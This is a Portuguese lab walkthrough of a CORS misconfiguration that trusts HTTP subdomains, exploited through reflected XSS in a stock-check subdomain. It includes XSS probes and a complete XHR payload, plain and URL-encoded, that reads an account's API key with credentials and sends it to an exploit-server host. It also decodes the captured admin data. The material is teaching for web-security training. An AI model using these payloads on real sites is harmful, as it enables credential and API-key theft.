> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS com Protocolos Inseguros Confiáveis

### Vulnerabilidade de CORS com protocolos inseguros confiáveis

O site tem uma configuração de CORS vulnerável: ele confia em todos **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave de API do administrador via CORS e extraí-la para o servidor de origem.

Credenciais fornecidas: `wiener:peter`.O site tem uma configuração de CORS vulnerável: ele confia em todos **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave de API do administrador via CORS e extraí-la para o servidor de origem.

Credenciais fornecidas: `wiener:peter`.

#### Observações

* O domínio raiz é aceito em **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/c0dab1b15b5ec8eef01eca2039834832c019c9a7" alt=""><figcaption></figcaption></figure>

**Subdomínios** em HTTP também são aceitos:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/7b926ae7446bf1b982560b11077607ab9a7b9489" alt=""><figcaption></figcaption></figure>

Subdomínio identificado via stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/63298f57fa6f642e3939913edb38f5dfb9822cfc" alt=""><figcaption></figcaption></figure>

Este item reflete `productId` → \*\* Injeção HTML/JS\*\* possível:

```html
?productId=test&storeId=1
```

<figure><img src="/files/f81235f216ac1065b3a9cef8ac984a8e8e375a6e" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/e45bc80c7ac7ee25789f941da063565ceb25029b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b4bce8b0d4102078d13a96568284db431f17838c" alt=""><figcaption></figcaption></figure>

#### Exploração: Leitura `/accountDetails` e Exfiltração

Script XHR usado (enviado via subdomínio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Injete o script no `productId` parâmetro do subdomínio vulnerável:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirecione para a URL para explorar com a `apiKey` variável contendo a resposta codificada.

<figure><img src="/files/7b61794e8a43e915393eeec4bf262d08fd9af5de" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada à vítima (versão codificada na URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recebendo a chave da API no servidor para explorar via o `apiKey` parâmetro.

<figure><img src="/files/382e3c78d1d37a4e6bdf8ba8b30707404878f95b" alt=""><figcaption></figcaption></figure>

* Decodificação realizada com:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/ae67fc0a1a4030b88211bda1af0bb27de96869cb" alt=""><figcaption></figcaption></figure>


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